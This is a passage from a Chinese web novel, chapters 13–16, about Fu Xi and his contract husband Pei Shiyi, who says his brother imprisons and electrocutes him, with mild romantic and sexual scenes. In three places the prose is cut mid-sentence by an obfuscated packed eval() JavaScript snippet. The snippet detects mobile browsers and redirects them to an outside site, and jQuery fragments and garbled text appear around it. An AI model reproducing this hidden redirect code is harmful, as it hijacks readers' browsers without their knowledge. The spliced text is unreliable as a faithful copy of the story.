一头耀眼的金色率先映入付溪的眼帘。 戴着青面獠牙面具,看不出具体长相的男人站定在别墅不远的位置,他身着利落的军装,款式与付溪在终端里看到或是偶然遇到过的军人都不太一样,身边还围了几人,正在说些什么。 这款最新版的天穹终端,可扫描的范围比付溪之前的老旧终端要大上许多,但那群人毕竟离得稍微远一些,再加上有信号干扰,收音不太好,付溪只听到“偷渡客”“遇害”等关键词。 付溪视线凝在那张面具上。 他记得这个男人。 之前花苞第一小学去枢律塔研学时,付溪在洗手间前见过他。 所以现在的情况是,军部的人插手了? 对多数华夏人而言,军部=安全感,见状,付溪松了口气。 针不戳。 突地,人群中的金发男人似乎有被窥伺的感觉,他下巴微微抬起,精准地朝着镜头“看”来—— “滋啦。” 光屏一黑,闪现无数雪花。 付溪“啊”了声,摇晃终端:“小美?” “小美在!”终端发出回应,“检测到信号干扰故障...正在报修中...” “咚咚咚!” 别墅门被剧烈敲响。 付溪吓了一跳。 终端坏掉,付溪只能通过门上的摄像头向外看:门外是两名结伴而行的男性,身着军装,正是刚刚围在金发男人身边的军人。 “你好,军部。” 说话的军人似是知道付溪在看,对着镜头出示自己的证件,“请你立刻开门,我方需要检查你的终端,并确保终端里没有相关录像。如果拒不配合,我方将采取无责任的强硬手段。” 付溪:“。” 果然是刚刚扫描时被发现了! 付溪垂眸心想,虽然之前的物业并没有说通缉犯只有一人,但那名戴着面具的男人,付溪确实在枢律塔见过。 通缉犯总不能随意进出枢律塔。 由此可推,这两人应该也不是通缉犯,而且单从面相上看,站在门前的两人正气凌然,手中的证件也不似作伪。 于是付溪打开门,很配合的将终端解下来递过去,并解释:“抱歉,物业说有个星际通缉犯,让我注意安全,我才用终端查探的。” “理解。”其中一人将终端接过去,翻看了下,“是天穹终端啊。”他语气赞许,一副“你小子眼光不错”的感觉,说话间抬眸,视线落在付溪脸上,一愣,身后的尾巴缓缓缠绕在腿上,尾巴尖儿勾起一点弧度,来回摆动。 付溪没注意。 他提醒道:“刚刚终端突然提示说检测到故障,是什么信号干扰故障?” “是。”那军人点头,理所当然的语气,“你刚刚擅自用这个观测——”他似乎要说什么,但临到关键却停下,专注摆弄终端,“是小问题,不用报修,我调一下,关机重启就能好。” 另一人则始终沉默着,仿若一尊雕塑。 付溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471954|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状应一声,趁机环顾四周,没看到之前那名金发男人。 “好了。”很快,那人开口,将终端递回给付溪。 付溪收回视线,伸手接过:“谢谢。” 他查看了下,发现终端在重启后,竟然真的好了。 “你有警惕心是好事,只是……那位不喜欢暴露,你的终端刚刚无意拍到了,所以才需要配合删除后台存储的录像。”面前的军人冲付溪露出一个安抚的笑,补充道,“放心,那名星际通缉犯不会活过今晚,你可以不用这么紧张。去吧,关好门窗,睡个好觉。” 付溪:“好的好的。” 付溪再次道谢后告别对方,等关上门,提着的一颗心才总算放下来。 他将终端重新戴上,突然发现通讯录里多出一个陌生的好友。 「你好。」恰在此时,那陌生人发来消息,「我是刚刚检查你终端的军部成员,我叫邓垣。」 「很抱歉擅自加了你的联系方式。一是方便之后有任何相关影像流出时我来追责,二是如果你遇到通缉犯陷入危险,可以第一时间找我。」 付溪:“……” 付溪眉头皱了皱,目光凝在“追责”二字上,有些无语。 地铁老爷爷看手机.jpg 他并未回复对方。 过了会,邓垣:「再冒昧问一下,你现在是单身吗?」 付溪:“?” 这话是他想的那个意思吗? 付溪更无语了,他回复:「我是已婚。」 邓垣:「好的抱歉打扰了。」 「那等你离婚,可以考虑一下我。」 付溪:“。” ber,真是…… 付溪不知道怎么回,答应吧,好怪,不答应吧,万一对方只是在开玩笑,他这么认真也很怪,干脆当没看见。 反正付溪最会装死了。 他回到房间,又去检查了一遍门锁,突地在二楼露台的地上,看到一张强行塞进来的小纸条,一愣。 第一次检查时,好像没有这个? 付溪不敢贸然靠近,他默默蹲在不远处,静静观察,确定这只是一张普通小纸条,才小心翼翼的伸出两根手指头,把小纸条夹过来,打开来,里面是两行字,写的七扭八歪。 是星际通用语。 小学一年级的付溪做最简单的题,也只考了62分的那个。 看不懂。 付溪打开终端翻译。 「我知道你的真实身份。 ——by你害怕的通缉犯」 付溪:“?” 付溪:“???” 什么意思? 真实身份?他的真实身份只有…… 什么——??? 付溪“蹭”的一下站起身,因为大脑短暂供血不足导致眼前一黑又一黑,他身体摇晃了下,伸手扶住旁边的墙,瞪圆眼睛心想,这个通缉犯,竟然知道他是穿越的!? 真的假的!? 如果是假的,对方不应当能精准点出付溪“身份”这一问题,所以……是真的? 付溪憋了半晌,没忍住,骂出一句:“我靠!” 一望无际的荒原区内。 身着反追踪装束的壮硕男人停下脚步。 他将头上遮挡黄沙的面具取下,露出一头毛毛躁躁的头发,靠近眼睛的位置、下巴、和锁骨处,俱都有着深可见骨的疤痕,使得整张脸看起来更具野性,令人望而生畏。 他面前竖起一道光屏,自动播放画面,赫然是位于听澜一区付溪居住的小别墅场景。 一只明显经过改造的眼睛里,冰蓝色的假眼转动,男人反复看着光屏里付溪摸到纸条后的表情和举动,唇角勾起一抹冷笑。 “就是你了,暴君藏在暗处的小娇妻。” “果然……只要放出假消息,暴君第一个来看的就是你。” “恐同?我啐。” “也是,毕竟是100%匹配度……” 他冷冷说着,语气越来越憎恶,最后口中不干不净骂着什么,明显是在发泄,下一秒,陡然看到光屏上出现一抹金色发丝。 男人脸色一变,正要掐断隐藏摄像头与终端之间的联系,却已经来不及了,青面獠牙的面具闯入镜头,对视的一瞬,男人“啊”的惨叫了声,手腕上的终端已经似被灼烧,冒出青烟。 他飞快将终端脱下,手腕与终端贴着的那块皮肤却都已经溃烂,烧掉男人一层皮来。 男人痛的龇牙,想到什么:“不好!” 并在荒原区内疾驰起来。 听澜一区。 裴临朔伸手,捏碎只有小拇指指甲盖大小的摄像头。 “……找到你了。” 低低的声音自黑夜中响起。 裴临朔转身正要离开,脚步突地顿了顿。他抬头看向别墅,仿若能透过钢筋铁骨的石材望见里面住着的人。 眉心微微蹙起,裴临朔厌恶地挪开视线:“啧。” 14. 第 14 章 大约是日有所思,夜有所梦。 付溪这一觉没睡好。 一会儿梦见裴时意看到他的成绩单,露出欲言又止的表情,尬的付溪忍不住脚趾抠地; 一会儿梦见柯南版凶手小黑人边露出狞笑,边指着付溪大喊:“他是穿越者!烧死他!” 吓得付溪疯狂逃窜,一整晚都不得安宁。 早上起床时,付溪坐起身,倍感疲惫。 他打了个大大的哈欠,拖着沉重的腿下床,洗漱完,早餐也已经到了。 想到昨天视频时物业管理说的每日要闻,付溪心中一动,他边坐在餐厅吃早饭,边打开终端搜索,没想到弹出的第一条,就是星际通缉犯成功被捕的消息,里面还附带一个视频。 画面中,眼睛旁、下巴、锁骨都有深可见骨疤痕的壮硕男人被几名军部警察控制,却丝毫不见懦弱恐惧,而是冷冷看着镜头:“暴君。灾星。” “你们都被他对外的政治宣言和表象骗了,他就是一个彻头彻尾的暴君!是一头拴不住的嗜血猛兽!” “真以为是缺乏资源,为了让你们这些首都星的蛀虫们过上好日子,才到处征战吗?不,是因为他控制不住自己!哈哈哈哈,他控制不住自己不去杀人!哈哈哈哈……实则他最厌恶的就是你们这群社会蛀虫!” “等着吧。” “等他彻底疯魔、控制不住自己的时候,一切都会轮到你们——” 男人似是想到什么,眼睛眯起,“没有任何人能救得了他。”他意有所指道,“现在或许有,但以后就不一定了……哈哈哈,哈哈哈哈。” 画面戛然而止。 付溪缩着脖子,心想,这种发言也是可以直接放出来的吗?陛下竟然不担心会影响舆论? 而且…… 付溪凑近光屏,点击重播,仔细观察那名男人。 他完全确信从未见过这名通缉犯,毕竟后者脸上的疤痕足够引人注目,那么,通缉犯是怎么知道他是穿越者的?如今被抓,对方会不会在一番严刑拷打之下说出付溪的身份? 付溪脑子里乱糟糟的,只觉得下一秒别墅门就要被敲响,军部的人直接出现用强硬手段绑走他,问讯他,试图研究出“穿越”的能力…… 付溪有些心神不宁,一顿早餐吃的食不知味。 而他此时的焦虑与害怕,甚至无法跟任何人诉说。 付溪垂眸,不知道怎么的,下意识打开终端,目光落在与裴时意的对话框上,又关闭。 裴时意是军部的人,跟他聊,万一被察觉到什么,只怕被抓的更快吧? 付溪叹了口气,起身重新回到床上。 将环境模式调为森林,付溪裹着被子,静静感受着周遭的安宁与美好,心情总算平静下来。 “算了。不要贷款还没有发生的厄运。” 付溪闭上眼,呢喃道,“如果一切真朝着想象中去……那其实也不是我能控制的。与其一直担惊受怕,不如过好一天算一天。” 他很快调理好,长舒了一口气,甚至小憩了会。 睡醒后,付溪撇撇嘴,用手捶了下被子:“什么暴君,灾星,彻底疯魔……我看人家陛下还好好的,你先疯了!” 付溪嘟嘟囔囔,骂骂咧咧,充分表达自己的不满。 他去盥洗室洗了把脸,刚出来,就听到外面“轰隆”一声,似乎是打雷了,不过从窗户看去,外面依然一片艳阳天。 付溪:“?” 过了会,阳光普照下,雨点噼里啪啦落下的声音传来。 付溪:“??” 付溪疑惑地仰头去看,怀疑自己是不是出了什么问题的时候,终端发出“嗡”的一声响,之前加的物业管理发来一个链接,付溪点开一看:「听澜一区今日天气投票:晴/雨。」 付溪:“???” 诶?还能这样??? 付溪注意力瞬间被转移,什么暴君,通缉犯,穿越者统统抛却脑后,兴致勃勃研究起链接。 因为更希望外面的天气能和肉眼看到的一致,付溪先选择了雨天,之后查阅历史记录,发现听澜一区此类的投票竟然不少。 什么“宴会最佳着装奖花落谁家”“谁的AI管家最烦人?”“本周是否举行内部国王游戏”“今日重力调整”…… 付溪看得眼花缭乱。 他忍不住截图给裴时意发过去:「这个好有意思!」 裴时意没回,但付溪也不在意。 裴时意忙,他知道。 他只是看到有趣好玩的,又实在没人分享,才发给对方。就像之前结婚证上说的锚点……不得不承认,付溪在这个星球上没有锚点。 “也不知道这样做会不会打扰他……下次他来倒是可以问问,实在不行就让他开个免打扰。”付溪嘀咕。 反正付溪要发! 他这周作业不多,下午集中写了两小时,就已经差不多了,到晚上,今日份天气的投票总算有了结果,虚假的天幕撤去,阴沉的天空显露出来,雨滴落下,噼里啪啦砸在露台、窗户上。 这种天气,最适合躺平摸鱼了。 付溪给自己自制了一杯小甜水,窝在沙发找了部剧看。 惬意又美好。 深夜。 付溪刚洗完澡,窗户外“轰隆”一声巨响。 外面又打雷了。 “也不知道这场雨什么时候停。” 付溪走到露台处仰头看天,雨下得比之前大上许多,砸在周围绿植的枝叶上,是世界上最好的白噪音。 看来今晚能睡个好觉。 付溪伸了个懒腰,正要回屋,余光瞥到什么,心头一跳,只见自己别墅门前,竟不知何时多出一个黑乎乎的影子! 看影子的轮廓,是个人。 谁!? 付溪下意识后退一步,但紧接着想到一个名字,他抿了下唇,撑起放在露台旁边的伞,快步走上露台站在边缘处往下看。 别墅门前有一盏小夜灯,但那影子蜷缩在角落,根本看不清面容。 付溪试探喊:“裴时意?” 底下的人缓缓抬头,从地上踉跄着起身。 黑色长发贴在他被雨打湿的脸颊上,淡金色的眼眸湿漉漉地抬起,长长的睫毛因雨滴砸下而轻轻颤抖,使得他精致完美的脸愈发楚楚可怜。他身上的衣物也都被雨淋湿,紧贴着劲瘦的身体,半透明的布料下,隐隐能看到饱满的胸肌…… 跟当初付溪第一次见到裴时意时,几乎一模一样。 “怎么又淋雨?” 付溪眉头一皱。 他有些急切地转身,将雨伞撂在露台边,咚咚咚跑下楼。 门一开, 寒意裹挟着水汽扑面而来。 付溪刚要伸出手拉人进屋,裴时意已经上前,紧紧抱住付溪。 这个怀抱很冷。 冷到付溪控制不住打了个哆嗦。 他心不在焉想,裴时意究竟在外面待了多久? 不管怎么说,先把人安顿好。 付溪向后踉跄两步,把人拖进来。 门关上,付溪叮嘱:“先去洗个热水澡。” 然而,裴时意的手却仅仅抓着付溪不肯松,像是被焊死了。 显然在接下来一段时间里,付溪在哪儿,裴时意就在哪儿。 付溪:“?” 这…… 总不能他带裴时意洗澡吧? 想到那一幕,绯色飞快漫上付溪的脸颊,付溪暗骂自己一声色狼,决定还是先安抚裴时意再说。 如果没猜错,现在的裴时意应该是发病了。 这种情况,安抚的具体方法是—— 付溪看着裴时意精致漂亮的脸,明明知道对方是男性,但因为裴时意长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471955|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得实在是太好看了,心里一丝抵触也无,他喉结上下滚动,试探着凑近裴时意,在后者的唇上亲了下。 柔软的,冰凉的,混着雨与泥土味道的檀香袭来。 付溪只轻轻一点便离远了些,看着还有些没反应过来,一脸懵懂的裴时意,感觉自己心跳有些加速。 怪羞耻的。 “你……”付溪刚开口一个字,裴时意陡然伸手,按住付溪的脑袋,自然而然地控制、深入,掠夺。 付溪哪儿招架得住,呼吸不由急促起来。 他甚至有种自己在被什么大型肉食动物按压着qin-犯的错觉。 等一吻毕,裴时意总算恢复了些许神智。 后者安抚地舔吻着付溪,最后将额头抵在付溪的额头上。 付溪没躲。 他轻抚裴时意的后背:“之前为什么不敲门,就在下面淋着?为什么不把门锁录入你的虹膜,直接进来?” 裴时意:“这是你的房子。” 付溪:“但这是你花钱买的?” 裴时意:“但这是你的房子。给你了就是你的。” 付溪:“……” 付溪沉默半晌,轻咳一声,脸红红的说:“要不咱俩再亲一下吧,我有点良心不安……哦不对,你现在感觉精神好点了吗?好点就赶快去洗澡,不然要感冒,很难受的。” 他推着裴时意进入浴室。 后者一手扒着门框,一手拉着付溪的手臂,静静看着付溪不说话。 付溪:“。” 果然是当初第一次见面时的状态…… 哪怕亲了也只好一点点。 看起来很不妙啊。 付溪心中想着,安抚道:“别担心……”语言苍白又无力,付溪觉得,他最好用实际行动让裴时意感到安心,“我就站在门口等你。好吗?” 裴时意思考片刻,提出自己的要求,声音很哑:“不关门。” 付溪无言与裴时意对视半晌。 “……行。” 裴时意这才松了手,他边往里走,边时不时回头,确认付溪是否还在门口,同时将吸附在皮肤上的湿透衬衫脱去。 浴室的灯光勾勒出他流畅的肌肉纹理和肩颈起伏的轮廓,水珠沿着脊柱的浅沟缓缓滑落,在腰窝处短暂停留,最终隐入裤腰边缘…… 付溪:“。” 付溪飞快收回目光,他看看天花板,又看看地板,最后清了清嗓子,摸出终端开始玩。 实则终端上的一个字都看不进去。 耳畔。 皮带解开的声音, 衣服丢在脏衣篮的动静, 赤脚走在地上发出的闷响, 花洒被打开,哗啦啦的水声响起,落在地上…… 现在的裴时意没穿衣服耶。 付溪:“……” 付溪控制着自己的眼神,一眼都没有望过去,并不禁感叹,自己可真是新世纪柳下惠。 值得章鱼老师的小红花! 哦对了。 付溪:“我给你买了新睡衣。” 他下意识要往衣柜的方向走,却听身后陡然传来急促的脚步声,紧接着,付溪的身躯被一双冒着热气的滚烫手臂紧紧抱住,裴时意将脑袋埋进付溪的颈窝里。 “别走。” 低沉无助的男声在付溪耳畔响起,“不要抛下我。” “抱歉抱歉!” 付溪感觉裴时意都要哭了。 他忙一叠声道歉,“我想着你洗完澡要穿睡衣,想先把睡衣给你拿过来……”突地,付溪顿住,“……” 付溪:“…………” 付溪的脸“轰”的一下红了个彻底,声音结结巴巴起来—— “兄兄兄弟,你你你你那个,顶到我了。” “要不……” “咱们先别挨这么近呢!?” 15. 第 15 章 付溪和裴时意坐在沙发上面面相觑。 裴时意刚洗完澡,身上穿着付溪新买的那件深色睡衣,绸缎一般的布料顺滑地贴着他的皮肤,衬得他裸露出来的手臂很白。 “……” 付溪受不了这种尴尬的气氛,有心想转移话题,他主动指指睡衣,“你穿这个还有过敏反应吗?” 裴时意摇头。 “那就好。”付溪干巴巴回,客厅又陷入沉默。 付溪:“。” 唉,都怪刚刚—— 一想到那些画面,付溪抿了下唇,头几乎要埋到自己的膝盖骨里。 在他说出那番令任何一个有道德要脸面的人,都会感到羞耻的话之后,裴时意的确乖乖松开了他,付溪当时脑子一抽,下意识回过头一瞥,就觉得自己的灵魂彻底升天了。 怎么,那么,大。 付溪憋了下才没有当场惊叫出声。 事情已经发生,眼睛也已经看过,之前的忍耐成了无用功,之后也就不用再避嫌。 付溪绷着一张脸,假装无事发生,把裴时意推回浴室,直到裴时意洗完澡,才带着擦干净身体的后者一起去衣柜拿的睡衣…… 一整套流程下来简直就是一场灾难片。 不过好在洗完澡后的裴时意瞧着比之前精神许多,应该不至于感冒。 “对了。”付溪坐在沙发上,绞尽脑汁,终于又想到一个话题,“上次那样接吻后,你好了几天?” 裴时意:“一天。” 付溪拔高音量:“一天!?” 裴时意:“嗯。” 付溪皱眉:“这么快……”虽然早就知道裴时意病的严重,可能坚持不了多久,但付溪以为最起码也有两三天或者一个星期呢,没想到只有一天。他问,“你抽空去体检了吗?” 裴时意摇头。 付溪蹙眉,话到嘴边,想到裴时意每次嘴上答应的好好的,但实际都是病发到不行了才出现,难免叹气,心想,也不知道裴时意究竟是在哪个部门工作,这也太忙太不人性化了,真的不能把一些琐碎的东西交给机器人去干,让人歇一歇吗? “抱歉。”裴时意开口。 付溪摇头。 裴时意的身体状况不容乐观,但连他自己都不在意,付溪说的再多又有什么用?反而显得啰啰嗦嗦,令人厌烦。 而且…… 双方称得上是契约婚姻,哪怕说了互相了解,相处试试,但关系也没到能管束对方的地步。 付溪不想被任何人讨厌。 所以他又沉默了。 “我没法出门。”裴时意突然开口。 付溪强打起精神:“嗯?” 裴时意:“……我哥不想让我来见你。他囚禁我。” 付溪:“……???” 付溪比刚刚在浴室低下头看到的那一眼还吃惊。 他呆滞地看着裴时意。 啊!?你我你,这是我能听的内容吗!?真的假的?囚禁……? 听到的内容已经完全超出付溪的可思考范围。 不是什么工作忙,没时间。 更不是被什么意外事件绊住了脚步,或者忘了。 而是! 囚!禁! 生长在红旗下的付溪双腿忍不住抖动,很有立刻报警的冲动。 裴时意似是怕付溪不信,主动伸出手,手指轻轻撩开黑色长发,露出侧面的脖颈,付溪这才看到,对方脖颈上竟有一大片的焦黑痕迹! 这是—— 什么类型的伤? 付溪没研究过这些,看不出来。 他身体凑近过去,想看得更清楚一些。 裴时意似是知道付溪在疑惑什么:“这是电击的痕迹。” 付溪:“!!!” 付溪倒吸一口气。 之前裴时意提到过,他的哥哥裴临朔不喜欢付溪,也不想两人见面,付溪还以为对方只是嘴上制止,却没想到竟然还会用电击的方式阻止! 再联想到裴时意每次出现,病发都很严重,似是实在没办法了才来,付溪只觉得一股熊熊怒火在燃烧。 “这简直是故意谋杀。”付溪气愤地猛拍沙发。 “……是。” 裴时意轻声说,“他确实想杀了我,只是现在还做不到。” 付溪:“……” 付溪一时说不出话来。 裴时意声音中满是脆弱,长长的眼睫不住颤抖,像是一只被雨打湿的蝴蝶:“我不想连累你,所以不敢偷偷出门,也不敢轻易来见你……对不起,我好像没办法去医院检查身体。” “……不,这不是你的错。” 付溪脑子里乱糟糟的,想安慰对方,但一时找不到合适的词汇,只能用行动代替言语,紧紧抱住面前的裴时意。 “不过不用担心。”裴时意声音中带着一丝安抚,“如今的我虽然没法反抗他,但他也没法杀死我。” 付溪:“……” 谢谢,并没有被安抚到。 付溪扭头去看裴时意脖子上的伤,那伤口看起来十分可怖,一定很疼,付溪感同身受,心中难过,他猜测,裴时意说他现在没法反抗哥哥,肯定是有原因的,所以才会是现在的结果。 但不管怎么说,裴时意的哥哥裴临朔都是个变态…… 这个话题实在沉重。 付溪给不出好的意见,只能是一个很好的听众。 他握住裴时意的手,认真道:“你能告诉我这些,肯定是因为不想被我误会,以及信任我,谢谢你……也希望你能早日脱离你哥哥的控制。如果有什么我能帮忙的,跟我说,我会尽力。” 裴时意轻轻“嗯”了声:“他……” 裴时意顿了顿,眉头不易察觉地皱了下,“不用你帮忙。” 付溪挠挠头。 的确,从之前裴时意的描述,以及最近付溪的感受而言,裴临朔明显位高权重,付溪这个小卡拉米能帮忙的地方实在有限,指不定还会先把自己赔进去…… 不过付溪觉得,他主动表达站在裴时意这边,且愿意帮忙,或许能让裴时意好受一些。 付溪问:“你明天一早就走,还是能多待一天?” 裴时意:“能多待。” 付溪松了口气,兴致勃勃道:“行,那我明天带你出去玩,散散心!” 裴时意:“好。” 时间不早,两人都有些困了。 他们不是第一次躺在同一张床上睡觉,因此表现的都很自然。 关灯后,付溪如上次般,双手交叠平躺,闭上眼。 十分钟后,付溪睁开铜铃般的双眼,侧过身,恰巧与裴时意的视线相对,一怔。 两人都没说话。 过了会,付溪伸出手,又去轻轻摸裴时意的伤口:“你现在这样……脖子碰着枕头,会痛吗?” 裴时意摇头:“我受过相关训练,对痛感有一定耐受,这种程度的电击不算什么。” 付溪:“……” 听到这话只感到心酸。 所以裴时意到底是干什么的?为什么还会受这种训练啊!?简直恐怖如斯,就像是…… 付溪发散了下思维,想到一些古代小说里从小培养,用以保护皇帝的暗卫或者是死士。 不过这类人通常都会围着皇帝转,应该不至于被囚禁? 除非裴时意的哥哥就是首都星的陛下。 但那怎么可能? “……其实还是痛的。” 面前,裴时意见付溪迟迟没开口,轻声补充,“当时是痛的。” “那当然啊。”付溪回神,嘀咕,“你也是人。” 他从床上爬起来,打开灯,“我想起来,政府发放的医药箱里好像有你能用的药,我去看看。” 付溪的医药箱放在一楼的柜子里。 他不等裴时意拒绝,飞快下楼,抱着医药箱噔噔噔爬上来,打开盒子,一一查看:“感冒的、发烧的、消暑的……” 别说, 这个医药箱里的药还挺全乎的。 瓶瓶罐罐被付溪拿出来放在床头,过了会,他眼眸一亮,“找到了!祛疤的!”他拿着软膏站起身,“虽然不知道效果如何,但聊胜于无吧。你长得这么好看,可不能留疤了。” 裴时意表情一动:“……我长得好看?” “是啊。”付溪语气理所当然。 多么伟大的一张脸。 “哦。”裴时意却有些心不在焉。 付溪拿着软膏到裴时意面前,让他把脖子上的伤口露出来。 裴时意很乖,付溪让他干什么,他就干什么。他坐在床边微微偏过头,脖颈仰起,喉结滚动了下,又问:“你很喜欢我的脸吗?” 付溪:“。” 这话说的,好直白。 付溪有些脸热。 他垂下眸,将软膏打开,从里面挤出白色的液体,用食指的指腹抿了,均匀涂抹在裴时意的脖颈上,“……喜欢。” 付溪嘀咕,“当时护士给我一本花名册,里面全是人,那时候谁都不认识谁,当然就是看脸……我一下子就看到了你。” 裴时意抬手摸了摸自己的脸,突地:“如果你当时见到了更好看的,更喜欢的,是不是就不会选我了。” 闻言,付溪认真想了想。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471956|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然两人下方写了100%的匹配度,但付溪当时确实是看到裴时意的照片,立刻心动,立刻选中。 如果有另外一个更符合付溪喜好的脸…… 虽然想象不出那张脸长什么样,但付溪还是实话实说:“的确。” 裴时意:“……” 或许因为这和裴时意的性命挂钩,后者眉眼间有些阴郁。 “不过花名册上没有比你更好看的,我也没有选择别人啦。”付溪拍了拍裴时意的脑袋,“别想那么多。” 裴时意:“……嗯。”他看着付溪,“亲一下?” 付溪:“……彳亍。” 裴时意在这方面显然很患得患失,当付溪嘴唇都被亲破的时候,他开始后悔跟对方说实话。 等好不容易上床睡觉,付溪在心底长长叹了口气。 蒜鸟。 裴时意也不容易。 这一次,付溪侧躺着,很快就睡了过去。 梦中,付溪看到一个跟裴时意长得差不多的男人,冲上去对其拳打脚踢,狠狠给裴时意报仇。 翌日,天光乍亮时。 付溪睡得迷迷糊糊,感觉身体很热,还有些呼吸不上来…… 他突地意识到什么,睁开眼,果不其然,面前是一张放大的脸。 付溪:“。” 付溪呼吸一窒。 究竟是什么接吻狂魔,才会在醒来的第一时间就亲他啊!?甚至没刷牙!还是说裴时意仍旧在发病状态? 但昨天刚深吻过,裴时意应该能坚持一天才对。 付溪最终将一切归咎为:裴时意瘾犯了。 他捧住裴时意的脸,将其往外推,一脸严肃,但抬起头才发现自己不知不觉中,竟然到了裴时意这一半的床铺位置,甚至很不老实,像一只树袋熊般四肢并用,将裴时意牢牢抱在怀里。 付溪:“……” 果然。 裴时意哑声道:“抱歉,你之前一直凑过来,我没忍住。” 付溪:“…………” 哈哈。 所以还是我的错喽。 裴时意问:“可以继续亲吗?” 付溪:“不可以!” 付溪飞快收回自己的手,翻了个身,利落滚回自己的位置,并第一时间下床冲往盥洗室。 过了会,裴时意也来了。 两人站在洗漱台前,原本不算狭窄的位置,因为同时容纳了两个成年男人,挤了起来。 付溪不止一次碰到裴时意的手臂。 他有些不好意思,还感觉哪里怪怪的,不由加快洗漱速度。 “你昨天说带我出去玩,作数吗?”裴时意问。 付溪刷牙的手一顿,坚定回应:“当然啦。” 裴时意明显比之前高兴。 他抬手,将一头黑色长发扎起来:“去哪里?” 付溪把嘴巴里的泡沫吐出去:“我之前搜了好几个网红景点,等会儿一起挑一下?” 裴时意:“好。” 两人洗漱后,坐在桌前。 “首都星绿植和花卉都比较少……这个是最近举办的巨型花卉展,听说一朵花能有一栋楼那么高那么大。我本来以为那么大的花,站在外面应该就能看到,没想到那块区域的画面直接被隔离了。可恶的资本家!当然了如果策划是我,我也会这么干,嘿嘿。” “这片区域会下钻石雨,阳光折射出七彩的碎光,很好看,我见好多人都在那边打卡拍照。” “这个是星际大战的遗址,据说能看到陛下骁勇善战的英姿。” “太空垃圾站寻宝体验也很有意思,在一堆垃圾里寻宝,我看评论区很多人都在晒自己挖出来的布灵布灵的战利品!放心,期间会穿太空服,不会弄到身上的。” “还有这个,这个是……” 付溪一口气把自己之前搜到的地点都给裴时意看,“如果你觉得这些都不合你心意,我们也可以再找找其他地方。” 裴时意没回。 付溪抬头看裴时意,见后者盯着其中一个画面出神。 付溪:“?” 他顺着对方的视线去看,发现是星际大战的遗址。 “想去这个吗?”付溪一锤定音,“走!” 他刚站起身,手腕就被裴时意攥住:“……不要。” 付溪:“嗯?” 裴时意瞧着状态不太好,他身体微微颤抖,眼眸湿漉漉的,拉过付溪的手放在自己的脸颊处,恳求道:“……可以不出门吗?” ……啊? 不出门,在家里待着吗? 付溪心想,那岂不是又要亲来亲去了? 16.第 16 章 “当然可以啊。” 付溪把终端收起来,“在家里能干的事情也有很多。我昨天刚看完一部剧,讲的是星球灭亡,机器人带着最后的火种在宇宙遨游的故事。我们今天也可以找一部剧看看。” 他没提裴时意的异常状态,也没提星际大战,而是在挑选影片的时候留了个心眼,避开了战争题材。 “这部标的温馨日常,评分很高。” 付溪将终端界面给裴时意看,“看这个可以吗?” 裴时意眼睛一错不错盯着付溪的脸,甚至不怎么眨眼,仿若只要稍微挪开一点视线,付溪就会消失。 他完全不看界面,只一味点头。 付溪:“。” 行叭。 付溪去倒了两杯小甜水,将窗帘拉上,抱着抱枕盘腿坐到沙发上,与裴时意紧挨着。 两人的腿逐渐碰到一起。 但谁都没有挪开。 画面中,主角继承了祖父的遗产,在房间的角落中发现一个老旧的管家机器人。他试探着点击开机键,这个看起来七零八落,身上锈迹斑斑的机器人竟然真的开机成功了。 双方面面相觑。 付溪眼眸亮晶晶:“这一看就是一部两个时代的人和机器人,从今天起生活在一起,互相磨合,最后一起怀念祖父的陪伴类治愈番。” 裴时意:“嗯。” 画面中,入了夜,主角似乎发烧,在床上不住翻腾,他眉头紧锁,仿若做什么噩梦。 镜头一转,老旧的机器人已经被主角收拾的干净了些,他手中端着一个托盘,里面放着杯热好的牛奶。 付溪猜测:“接下来就是机器人发现主角情况不对,带主角去看医生或者照顾主角吧?主角从机器人的身上感受到了亲情。” 裴时意:“嗯。” 画面中,主角的身体在床上扭动着。 付溪:“?” 怎么感觉有哪里布兑? 机器人走入房内,双方对视,主角定定看着机器人,陡然从床上冲起来,抱住对方,似乎是被机器人冰凉的身躯刺激到,他颤抖了下,哆嗦着去寻找机器人的唇。 付溪:“???” 这就是布兑啊! 原来刚刚主角表现出来的症状,不是发烧感冒,而是寻偶期!? 接下来的画面更是令付溪大跌眼镜—— 那老旧机器人检测到主角的行为,深知应该抗拒,但底层代码里又写了要好好照顾主角,两边冲突,机器人cpu都快烧了,最终,它还是选择了后者,终于伸出手臂,也牢牢抱住主角。 双方发狠了忘情了,下一秒就跌倒到床上去了,谁知主角一摸机器人下面,是空的! 付溪本来都要点击终端关屏幕了,看到这一幕不禁停下来,深觉这部剧难怪评分高,每一个转折都出乎意料。 他小小的松了口气:“……倒也合理。” 哪个机器人专门装那玩意儿啊!? 